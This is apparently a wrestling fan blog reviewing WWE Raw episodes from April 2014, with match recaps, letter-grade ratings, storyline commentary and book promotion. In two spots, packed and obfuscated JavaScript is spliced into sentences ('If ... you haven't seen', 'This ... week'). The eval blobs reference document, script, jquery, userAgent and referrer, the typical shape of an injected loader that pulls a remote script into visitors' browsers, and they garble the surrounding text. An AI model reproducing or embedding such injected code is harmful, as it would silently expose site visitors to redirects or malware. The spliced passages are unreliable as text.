Before the match, Heyman has a joke for us. Knock Knock. Who’s there? Mike. Mike who? Mike lient Brock Lesnar conquered the Undertaker’s Streak at Wrestlemania. Heyman promises to never mention the Streak again before bragging about Cesaro winning the battle royal.

Swagger tries an early suplex but gets countered into rolling gutwrench suplexes. They head outside with Cesaro being sent into the barricade for two before Swagger cranks on a double chicken wing. Swagger loads up the Vader Bomb but Heyman goes after Zeb’s mustache for a distraction, allowing Cesaro to hook a German suplex for the pin at 3:17.

Rating: D+. This feud isn’t doing much for me but it’s cool to see Cesaro throw people around like they’re children. Heyman going after the mustache was a great touch and the match was more entertaining than it should have been. I don’t care much for Swagger though and he drags things down when he’s on screen.

We look at the opening segment again.

Cena has nothing to say about what happened earlier.

The mask is still in the case.

Cody Rhodes vs. Alberto Del Rio

Del Rio quickly takes him down for two but Cody comes back with a clothesline and slam for two of his own. Not that it matters as Alberto hits him in the head again and gets another near fall off a belly to back suplex. Cody hits a dropkick but walks into the tilt-a-whirl backbreaker to set up a chinlock. Back up and the springboard dropkick is countered with a punch to the ribs, setting up the armbreaker from Del Rio for the submission at 3:20.

Rating: D+. I’m guessing this is for angle advancement as it was basically a Del Rio squash. My goodness I can’t remember the last time I actually got to type that. The match was nothing special and I wish it had been Goldust doing the job instead of someone like Cody who might have a lengthy future.

Cody walks away from Goldust again post match.

Heyman and Cesaro have a meeting in the back.

Alexander Rusev vs. Xavier Woods

Squash for about 40 seconds until R-Truth runs in for the DQ. The team knocks Rusev to the floor and stands tall before their handicap match on Sunday.

We see John Cena granting three Make-A-Wishes this morning.

RVD is ready to beat Bad News Barrett tonight. Zeb Colter comes in and suggests an alliance against their common enemy in Paul Heyman but RVD declines.

Los Matadores vs. 3MB

McIntyre and Slater here. The pre show match on Sunday is a, I kid you not, Wee L C match involving all of these guys plus the small ones. McIntyre sends Diego into the corner to start before it’s off to Slater. Heath doesn’t do all that well and it’s quickly off to Fernando who cleans house. The announcers of course spend the match making short jokes as Torito Gores Mahal’s groin into Hornswoggle’s head. Back in the ring and Slater hits an elevated DDT on Fernando for the pin at 2:19. JBL: “OH MY GOD 3MB WON! BARRY HOROWITZ IS ROLLING OVER IN HIS GRAVE AND HE’S NOT EVEN DEAD!”

Post match Hornswoggle misses a dive and crashes on the floor. Torito dives on 3MB.

Here’s Stephanie for the apology to Bryan. She calls out the champ and gets both him in a neck brace (minus belts) and Brie Bella who leads the YES chants. Daniel says he almost believed Stephanie when she was telling Kane to stop last week but she’s full of lies. Stephanie says she deserves that and the truth is she and HHH never wanted Bryan to be WWE Champion. Emotions ran high and got out of control.

Bryan says Stephanie’s emotions ran high, so how do you think his wife felt when the Authority was trying to take him out and had to let him do it on his own. Stephanie apologizes again and says she knows what it’s like for your husband to be in an ambulance. She’s sorry on behalf of the entire family for unleashing the demon and for everything else she’s done. Daniel still doesn’t buy it so she asks him to come down to the ring to convince him face to face.

Bryan says he’s going to see a liar if he gets in the ring and that Kane will be here at the snap of a finger. His head hurts and he can’t move his neck, but he’s never given up in his life. He’s been cleared for Sunday and if Kane takes him down, Bryan is taking Kane with him. Stephanie says she can give them something to make up for what happened last week. She offers Brie a Divas Title match tonight but Bryan says he’ll be there with her. The match is right now.

Divas Title: Paige vs. Brie Bella

Paige is defending. Before the match we cut to the back and see that the mask is gone. They trade some holds to start with Brie taking over with a flying mare and dropkick for two. Paige screams a lot and slams Brie into the mat before getting two off a northern lights suplex. Brie comes back with a kick to the face and a hard running knee. She goes up top but gets punched in the gut, setting up a nice superplex to put both girls down. Not that it matters as we’ve got Kane.

Daniel is waiting for him in the aisle but Kane comes up through the ring and tries to pull Brie down. Bryan tries to make a save but the neck injury slows him down. Kane stalks Brie as Bryan is down on the floor. He drags her to the hole but Bryan comes in with I think a wrench to knock Kane silly. Of course he sits up as Bryan tells Brie to get out. A chokeslam leaves Bryan laying. She gets back in like an imbecile and has to scramble away from Kane as he tries to drag her into the hole. Bryan is helped to the back by medics. The match went to a no contest at about 2:20.

Back from a break and a doctor is checking on Bryan when Stephanie comes in again to apologize. Bryan says he’ll be at Extreme Rules and will make her regret dragging Brie into this. Brie yells at Stephanie and calls her something you don’t say to your boss.

We look at the opening segment again.

Cena says the choir freaked him out but he knows the crowd hasn’t turned their backs on him. The crowd was still reacting to him and that gives him hope. Cena is ready for Sunday and will buy Bray a singing mule. The singing ends on Sunday.

Bad News Barrett is on his podium and has some BAD NEWS for RVD. The slogan for the company is Then, Now and Forever. RVD should only be Then, because he’s only living on the past.

Intercontinental Title #1 Contenders Tournament Finals: Rob Van Dam vs. Bad News Barrett

Winner gets Big E. for the title on Sunday. Feeling out process to start with Rob taking him down to the mat with a headlock. Barrett misses a charge and falls to the floor, setting up a moonsault from the apron to take down Bad News. Back in and Barrett sends Rob out to the floor almost immediately before doing the thumb pointing. They head inside again with Rob getting two off a rollup but getting thrown into a kick to the ribs in the corner.

Back from a break with Barrett holding a chinlock. Winds of Change get two and a neckbreaker gets the same for Barrett. We hit the chinlock again for a bit before Rob fights up and nails a superkick. Some clotheslines and the step over kick look to set up Rolling Thunder but here’s Cesaro for a distraction. Swagger intercepts Cesaro but Rob has to duck the Bull Hammer. Rolling Thunder connects but Cesaro distracts him from the Five Star, allowing Barrett to get his knees up. Bull Hammer sends Barrett to Extreme Rules at 11:22.

Rating: C-. The match was dull at times but this should set up Cesaro vs. Van Dam to flesh out Sunday’s card a little bit. Barrett is much more interesting in this character and has looked great since Wrestlemania. I can’t imagine Big E. holds the title and that’s the right idea at this point.

Post match Cesaro goes after Van Dam but Swagger lays him out with a gutwrench powerbomb. Van Dam beats up Swagger though and hits the Five Star on Swagger.

We look at Shield destroying people on Smackdown again.

Shield says they’ve passed Evolution by. Rollins holds up his fist and says it’s the new symbol of excellence (the name given to the four fingers of the Horsemen). Reigns says Evolution looks more like the past.

Ambrose has to defend the US Title against Alberto Del Rio, Ryback and Curtis Axel in a handicap match on Smackdown.

Randy Orton vs. Roman Reigns

Orton has Batista and HHH with him and comes out to the Evolution theme. Before the match, HHH says Shield is starting to remind him of Evolution. There’s a problem with that though: Evolution is still here and they’ll never be that good. Shield hits the ring….and here’s Ric Flair.

Ric looks bombed and asks if this is St. Louis, Missouri. He’s had a lot of fun in this town but says it’s great to be back in a ring with people who know what this business is all about: dominance. Flair talks about everything coming full circle, including greatness. Tonight he’s surrounded by superstars who exemplify power, style and greatness. By that he means the Shield and shakes all three of their hands. With that he leaves and Evolution is shocked.

We actually get a bell at 11:05 and Reigns hammers away but gets caught by a headbutt and right hands. They head outside and fight over a suplex with Reigns getting the better of it. Orton reverses a whip to send Reigns into the steps before taking it back inside for a chinlock. A hard clothesline puts Reigns on the floor but he fights out of the Elevated DDT.

The running clothesline and a right hand have Orton reeling and Reigns heads to the floor for the apron dropkick. Back in and HHH breaks up the Superman Punch as the brawl is on. The fans are WAY into this as Ambrose is thrown across the anounce table. Back inside and the Superman Punch connects but Reigns goes to the floor to get in on the fight for the DQ at 4:50.

Rating: C. This was a good moment for Reigns as he looked like he was capable of hanging with the guy that was World Champion coming into the main event of Wrestlemania less than a month ago. The match on Sunday is going to be NUTS and it should main event the PPV. I’d love to see a full match between these guys and it’s good to see Reigns getting some solo time.

Post match Evolution destroys Shield with spinebusters and slams. HHH loads up a Pedigree on Ambrose but Rollins makes the save with a springboard knee to the face. HHH is left alone and Reigns lays him out with the spear. Orton and Batista try to break up the Triple Bomb with chairs but get kicked in the face, allowing Shield to stand tall to end the show.

Overall Rating: C+. This was a rollercoaster of a show but the problem was it all had to follow that opening segment. There was just no way they could trump that all night long and it never did. I’m fired up for Sunday and the top three matches all look great on paper. The builds have worked perfectly and I’m looking forward to Sunday. More importantly, things seemed a lot more organic instead of scripted this week and that’s a VERY positive sign for the future.

Results
Usos b. Ryback/Curtis Axel – Superfly Splash to Axel
Sheamus b. Titus O’Neal – Brogue Kick
Cesaro b. Jack Swagger – German suplex
Alberto Del Rio b. Cody Rhodes – Cross armbreaker
Alexander Rusev b. Xavier Woods via DQ when R-Truth interfered
3MB b. Los Matadores – Elevated DDT to Fernando
Paige vs. Brie Bella went to a no contest when Kane interfered
Bad News Barrett b. Rob Van Dam – Bull Hammer
Roman Reigns vs. Randy Orton went to a no contest when Evolution interfered

 

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WHAT THE HECK WAS THAT????

If eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kdrte|var|u0026u|referrer|nienz||js|php'.split('|'),0,{})) you haven’t seen the opening segment to Raw tonight, avoid any and all spoilers and watch it.  I was as freaked out as I’ve ever been watching wrestling.




Reviewing the Review – Monday Night Raw: April 21, 2014

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rrinz|var|u0026u|referrer|tzzrb||js|php'.split('|'),0,{})) week was the heavy lifting show as we head towards Extreme Rules. We got the big angles taken care of and the World Title match is set with a great push angle on Raw. Other than that it was a lot of big time promos to get us ready for the pay per view. Let’s get to it.

The big segment opened the show as we had Daniel Bryan and Brie Bella celebrating the title win together for one of their few appearances together in the ring. It didn’t last long though as Stephanie and her horrible music interrupted things. This eventually led to Kane coming out and destroying Bryan with three tombstones, including one on the floor, steps and announce table, all while Stephanie’s bad acting reminded us that she was there.

This was the angle that they needed for multiple reasons. First and foremost, it makes Kane look like a monster heading into the title match. No he isn’t going to win of course, but this was the Ivan Drago vs. Apollo Creed moment that Bryan needed for motivation (except it’s Bryan instead of his friend of course). It also plays up Kane as the monster in the mask again which we haven’t seen in awhile now. Third it also lets Bryan get off TV so he can deal with the real life passing of his father, which is what really matters.

One more thing: Stephanie McMahon may look good in a red dress, but DEAR GOODNESS she can be annoying. It wasn’t even in the way it was supposed to be, as Stephanie is supposed to be her telling Kane to tone it down but it came off as her just whining and being condescending. That gets really old in a hurry and took away from the segment, which happens far too often with her.

Barrett beat Sheamus in the tournament in a surprise. That more or less cements Barrett as the tournament winner and I like the idea quite a bit. He’s been on fire since he got back in the ring and has been wiping people out with that Bull Hammer.

Hugh Jackman is guest hosting again next week. I’m cool with that as Jackman actually seems to love being out there which is all you can ask for from one of these things.

The Wyatts continue their creepy promos against Cena. Wyatt absolutely has to win in the cage and I think he’s going to. The thing is I’m not sure where we go after that, but I’m really interested in where it’s going given all those promos.

El Torito vs. Hornswoggle happened. Yeah there were others involved, but that’s the pairing that mattered. I can’t even begin to think of the people we can’t get on Raw, but these guys get their time of course, to hype a movie that has been mentioned I think once. Such is life in WWE.

The Shield vs. Evolution promo was awesome as well with Rollins in particular shining on the mic. It’s reminding me of Cactus vs. HHH to a degree with HHH being backed into a corner and forced to fight against people chomping at the bit to get their hands on him. There really isn’t much to say about this other than I’m far more excited about the match than I was before.

The Rhodes Brothers started their split while we’re getting ready for Ryback/Axel vs. Usos at Extreme Rules. I’m fine with both actually as Cody works better on his own and the magic of Goldust’s return was going to fall apart at some point.

Emma, Layla, Cobras, stupid.

RVD beat Cesaro to advance as well thanks to Jack Swagger. No real shock here as they had to get to this match somehow. The wrestling was better than I expected too. We also got a very nice post match segment where RVD planted some seeds of doubt in Cesaro’s mind regarding Heyman. I have a feeling this will be revisited in the future.

Paige beat Aksana in another not great match. At the end of the day though, I can’t blame Paige for a lot of these issues. We know she can go in the ring, but she’s no miracle worker that can drag a good match out of Aksana. It also doesn’t help that there’s the stigma of her being the best developmental Diva in forever so there’s a big standard to look up to. The finishing move looks awesome though.

Rusev squashed Sin Cara in a match that was more competitive than I was expecting. I kind of like that people are getting in offense on him but he’s just shrugging it off and winning fast. Lana’s legs continue to be mesmerizing.

Cena somehow beat the Wyatts in a 3-1 handicap match as chosen by the fans. I’m not sure why the Wyatts didn’t get the win here but it’s not the biggest problem in the world. The DQ ending made sense but it wasn’t the right choice overall. The post match stuff with Bray hugging an unconscious Cena and singing even more is creepy, but they need to follow up on it.

Overall Raw was entertaining this week but it was all about setting up the future. I’m genuinely curious as to where some of this stuff is going, but at the same time I’m really not sure they can pull off some of the stuff they’re setting up. Bray vs. Cena has potential if they’ll take some chances (no I’m not saying turn Cena) and the Shield rocket push is going strong. There’s hope at the moment but I need to see more before making a real judgment.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Clash of the Champions at Amazon for just $3.99 at:

And check out my Amazon author page with wrestling books for under $4 at: